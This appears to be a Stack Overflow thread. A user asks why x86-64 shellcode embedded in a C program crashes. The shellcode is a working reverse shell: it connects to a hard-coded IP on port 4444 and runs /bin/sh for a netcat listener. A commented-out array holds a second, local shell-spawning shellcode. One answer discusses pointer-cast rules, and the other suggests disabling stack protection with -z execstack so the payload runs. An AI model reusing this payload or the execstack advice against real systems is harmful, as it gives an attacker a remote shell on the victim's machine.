-1

my payload asm works , but I tried to embed to my own c program it works. conect to my nc port 4444 then brake the conection . I dont why this it happen if I tested this example on my asm executable and it works perfectly , but on my c program not. what can I do ? how can I debug it?

#include <stdio.h>

unsigned char random[] = "0E249hvzColk1lZ4Vk1eccJM07x2FuitUVsliNPA5FybQn-Ny7DQJ0t-JCvDnm-mZY8YkyOtj6xgN1AUKzcBtr9rRCdGlZCjNnOKGbMzfpQQUampvZsqE0MRDhcvyvpOWzqZG5QJGBuL4-u0MipHq1ioOyNdcWcsRF0zPBd7iI76tTK5CPeDhklfSNQKaw50tsA1lEXDl7mVcvre9b6I-cUR1hYg2oLC6W0zwznvIizbea21OOB9oke5hYdWSSmI181bwvP6IuR20HIu1rGjKgnjHbClcMt9DWBOHBrtxSVUddgparNs5mR3lK3AtY85DN9W2ikX0lOSZbgcB47KC-wSGYRWOuqj1G8ebqUIArlnGk1TBKdwmezfz7RXHsa0EBlFRz60H9lDyQjJb31e78Ff1xXsFEJ5mnkU9rL5NDxPxyOkqxQoO1-6iR62feGLvQdUKfqXF2G0X8NMYqx0UWa78ezsOGsqdnwU5ktwMm2jaPZ5F1G8GKJFYGr7SXz6";

//\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 64 bits shell


unsigned char shellcode[] =  "\x68\xac\x14\x0a\x02\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x6a\x10\x6a\x29\x6a\x01\x6a\x02\x5f\x5e\x48\x31\xd2\x58\x0f\x05\x48\x89\xc7\x5a\x58\x48\x89\xe6\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05";

int main(void){
    ((void (*)())shellcode)();
}



./custom
Segmentation fault (core dumped)

2 Answers2

1

You are trying to convert an object pointer shellcode to a function pointer in the following statement:

((void (*)())shellcode)();

This can lead to undefined behaviour.

C99 standard states this on the section on function pointers:

Even with an explicit cast, it is invalid to convert a function pointer to an object pointer or a pointer to void, or vice versa.

You can see this when you compile your code with -pedantic-errors option in GCC which gives the following error.

<source>: In function 'main':
<source>:11:6: error: ISO C forbids conversion of object pointer to function pointer type [-Wpedantic]

See live demo here.

P.W
  • 26,289
  • 6
  • 39
  • 76
  • how can I fix it? –  Nov 08 '18 at 05:11
  • You need to find a compiler which supports this as an extension and use it to compiler your code. – P.W Nov 08 '18 at 05:19
  • how can I fix the main part for it? –  Nov 08 '18 at 05:30
  • @AnttiHaapala: Yes, GCC supports it. We do not know what compiler OP is using. So in the comments, I asked him to use a compiler that supports this as an extension. – P.W Nov 08 '18 at 06:29
  • i am using GCC linux command line compiler , but it should work . :/ because it gets killed my netcat connection with this shellcode embed to. –  Nov 08 '18 at 07:10
1

The solution to this is probably setting the executable stack option during compilation by using the -z execstack with GCC.

It has something to do with the way the shellcode is being called via a pointer to a function. The pointer is being passed around and ends up being on the stack during the call trampoline, and so the stack must be executable for it to work.

typedeaf
  • 1,511
  • 13
  • 8